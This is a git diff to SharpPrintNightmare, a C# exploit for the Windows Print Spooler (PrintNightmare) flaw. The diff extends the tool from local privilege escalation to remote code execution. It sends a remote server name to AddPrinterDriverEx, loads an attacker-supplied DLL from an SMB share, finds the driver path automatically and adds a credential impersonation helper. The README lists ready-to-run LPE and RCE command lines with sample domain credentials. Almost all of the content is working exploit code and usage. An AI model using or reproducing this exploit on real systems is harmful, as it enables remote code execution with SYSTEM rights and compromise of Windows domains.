diff --git a/Images/poc4.png b/Images/poc4.png new file mode 100644 index 0000000..bc7eac5 Binary files /dev/null and b/Images/poc4.png differ diff --git a/SharpPrintNightmare/README.md b/SharpPrintNightmare/README.md index 18615d5..1e252ef 100644 --- a/SharpPrintNightmare/README.md +++ b/SharpPrintNightmare/README.md @@ -3,7 +3,16 @@ ### Usage ``` +#LPE C:\SharpPrintNightmare.exe C:\addCube.dll + +#RCE using existing context +SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20' + +#RCE using runas /netonly +SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123 ``` +![](../Images/poc4.png) + ![](../Images/poc3.png) diff --git a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo index da79f45..ce63ce0 100644 Binary files a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo and b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo differ diff --git a/SharpPrintNightmare/SharpPrintNightmare/Program.cs b/SharpPrintNightmare/SharpPrintNightmare/Program.cs index 52cf5a5..a03d26c 100644 --- a/SharpPrintNightmare/SharpPrintNightmare/Program.cs +++ b/SharpPrintNightmare/SharpPrintNightmare/Program.cs @@ -2,6 +2,7 @@ using System.ComponentModel; using System.IO; using System.Runtime.InteropServices; +using Tools; namespace SharpPrintNightmare { @@ -45,30 +46,81 @@ namespace SharpPrintNightmare static void Main(string[] args) { string dllpath; + string pDriverPath = ""; + string path = null; + //network credentials wont be used for LPE + string domain = "NeverGonnaGiveYouUp"; + string user = "NeverGonnaLetYouDown"; + string password = "NeverGonnaRunAroundAndDesertYou"; + if (args == null || args.Length == 0) { - Console.WriteLine("Need an argument containing the dll path"); - Console.WriteLine(".\\SharpPrintNightmare.exe C:\\addCube.dll"); + Console.WriteLine("-Locally"); + Console.WriteLine(" .\\SharpPrintNightmare.exe C:\\addCube.dll"); + Console.WriteLine(" .\\SharpPrintNightmare.exe 'C:\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'"); + Console.WriteLine("-Remote using current context"); + Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20'"); + Console.WriteLine("-Remote using runas"); + Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20' hackit.local domain_user Pass123"); Environment.Exit(0); } dllpath = args[0]; - Console.WriteLine("[*] Try 1..."); - addPrinter(dllpath); - Console.WriteLine("[*] Try 2..."); - addPrinter(dllpath); - Console.WriteLine("[*] Try 3..."); - addPrinter(dllpath); + if(args.Length > 1) + { + pDriverPath = args[1]; + } + else + { + DRIVER_INFO_2[] drivers = getDrivers(); + foreach (DRIVER_INFO_2 driver in drivers) + { + //Console.WriteLine(driver.pDriverPath); //debug + if (driver.pDriverPath.ToLower().Contains("filerepository")) + { + pDriverPath = driver.pDriverPath; + break; + } + } + //lucky shot + if (pDriverPath == "") + { + pDriverPath = drivers[0].pDriverPath; + } + pDriverPath = Directory.GetParent(pDriverPath).FullName + "\\UNIDRV.DLL"; + } + if (args.Length > 2) + { + path = args[2]; + } + if (args.Length > 3) + { + domain = args[3]; + user = args[4]; + password = args[5]; + } + + //runas /netonly + using (new Impersonator.Impersonation(domain, user, password)) + { + Console.WriteLine("[*] Try 1..."); + addPrinter(dllpath, pDriverPath, path); + Console.WriteLine("[*] Try 2..."); + addPrinter(dllpath, pDriverPath, path); + Console.WriteLine("[*] Try 3..."); + addPrinter(dllpath, pDriverPath, path); + } } - static void addPrinter(string dllpath) + static void addPrinter(string dllpath, string pDriverPath, string path = null) { - DRIVER_INFO_2[] drivers = getDrivers(); - string pDriverPath = Directory.GetParent(drivers[0].pDriverPath).FullName + "\\UNIDRV.DLL"; - Console.WriteLine($"[*] pDriverPath Found {pDriverPath}"); + + //pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug + //pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug + Console.WriteLine($"[*] pDriverPath {pDriverPath}"); Console.WriteLine($"[*] Executing {dllpath}"); - //DRIVER_INFO_2 Level2 = drivers[0]; + //DRIVER_INFO_2 Level2 = drivers[0]; // debug DRIVER_INFO_2 Level2 = new DRIVER_INFO_2(); Level2.cVersion = 3; Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll"; @@ -85,7 +137,7 @@ namespace SharpPrintNightmare Marshal.StructureToPtr(Level2, pnt, false); //call AddPrinterDriverEx - AddPrinterDriverEx(null, 2, pnt, flags); + AddPrinterDriverEx(path, 2, pnt, flags); Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error()); Marshal.FreeHGlobal(pnt); @@ -98,10 +150,10 @@ namespace SharpPrintNightmare Marshal.StructureToPtr(Level2, pnt2, false); //call AddPrinterDriverEx - AddPrinterDriverEx(null, 2, pnt2, flags); + AddPrinterDriverEx(path, 2, pnt2, flags); int errorcode = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(pnt2); - if(errorcode == 0) + if (errorcode == 0) { Console.WriteLine($"[*] Stage {i}: " + errorcode); Console.WriteLine($"[+] Exploit Completed"); @@ -110,11 +162,13 @@ namespace SharpPrintNightmare } } - static DRIVER_INFO_2[] getDrivers() + static DRIVER_INFO_2[] getDrivers(string path = null) { uint cbNeeded = 0; uint cReturned = 0; - if (EnumPrinterDrivers(null, null, 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned)) + //path = "\\\\192.168.1.20"; + + if (EnumPrinterDrivers(path, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned)) { //succeeds, but shouldn't, because buffer is zero (too small)! throw new Exception("EnumPrinters should fail!"); @@ -128,7 +182,7 @@ namespace SharpPrintNightmare } IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded); - if (EnumPrinterDrivers(null, null, 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned)) + if (EnumPrinterDrivers(path, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned)) { DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned]; long offset; diff --git a/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj index b479c26..ff6fa2e 100644 --- a/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj +++ b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj @@ -44,6 +44,7 @@ + diff --git a/SharpPrintNightmare/SharpPrintNightmare/Tools.cs b/SharpPrintNightmare/SharpPrintNightmare/Tools.cs new file mode 100644 index 0000000..8db5b55 --- /dev/null +++ b/SharpPrintNightmare/SharpPrintNightmare/Tools.cs @@ -0,0 +1,140 @@ +using Microsoft.Win32.SafeHandles; +using System; +using System.ComponentModel; +using System.Runtime.ConstrainedExecution; +using System.Runtime.InteropServices; +using System.Security; +using System.Security.Permissions; +using System.Security.Principal; + + +namespace Tools +{ + public class Impersonator + { + //Reference https://stackoverflow.com/questions/22544903/impersonate-for-entire-application-lifecycle + + [PermissionSet(SecurityAction.Demand, Name = "FullTrust")] + public class Impersonation : IDisposable + { + private readonly SafeTokenHandle _handle; + private readonly WindowsImpersonationContext _context; + + private const int LOGON32_LOGON_NEW_CREDENTIALS = 9; + + public Impersonation(string domain, string username, string password) + { + var ok = LogonUser(username, domain, password, + LOGON32_LOGON_NEW_CREDENTIALS, 0, out this._handle); + if (!ok) + { + var errorCode = Marshal.GetLastWin32Error(); + throw new ApplicationException(string.Format("Could not impersonate the elevated user. LogonUser returned error code {0}.", errorCode)); + } + + this._context = WindowsIdentity.Impersonate(this._handle.DangerousGetHandle()); + } + + public void Dispose() + { + this._context.Dispose(); + this._handle.Dispose(); + } + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken); + + public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid + { + private SafeTokenHandle() + : base(true) { } + + [DllImport("kernel32.dll")] + [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] + [SuppressUnmanagedCodeSecurity] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool CloseHandle(IntPtr handle); + + protected override bool ReleaseHandle() + { + return CloseHandle(handle); + } + } + } + } + + public class AToken + { + // Based on SharpSploit MakeToken + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("Advapi32.dll", SetLastError = true)] + private static extern bool RevertToSelf(); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool LogonUserA( + string lpszUsername, + string lpszDomain, + string lpszPassword, + LOGON_TYPE dwLogonType, + LOGON_PROVIDER dwLogonProvider, + ref IntPtr phToken); + + [Flags] + public enum LOGON_TYPE : uint + { + LOGON32_LOGON_INTERACTIVE = 2, //will not work for sacrify, still active + LOGON32_LOGON_NETWORK, //will not work for sacrify, still active + LOGON32_LOGON_BATCH, //will not work for sacrify, still active + LOGON32_LOGON_SERVICE, //will not work for sacrify, still active + LOGON32_LOGON_UNLOCK = 7, //will not work for sacrify, still active + LOGON32_LOGON_NETWORK_CLEARTEXT, //will not work for sacrify, still active + LOGON32_LOGON_NEW_CREDENTIALS + } + + [Flags] + public enum LOGON_PROVIDER : uint + { + LOGON32_PROVIDER_DEFAULT, + LOGON32_PROVIDER_WINNT35, + LOGON32_PROVIDER_WINNT40, + LOGON32_PROVIDER_WINNT50 + } + + public static bool MakeToken(string Username, string Domain, string Password, LOGON_TYPE LogonType = LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS) + { + IntPtr hProcessToken = IntPtr.Zero; + if (!LogonUserA( + Username, Domain, Password, + LogonType, + LOGON_PROVIDER.LOGON32_PROVIDER_WINNT50, + ref hProcessToken)) + { + Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); + return false; + } + + if (!ImpersonateLoggedOnUser(hProcessToken)) + { + Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); + CloseHandle(hProcessToken); + return false; + } + return true; + } + + public static bool RevertFromToken() + { + if (!RevertToSelf()) + { + Console.Error.WriteLine("RevertToSelf() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); + return false; + } + return true; + } + } +} \ No newline at end of file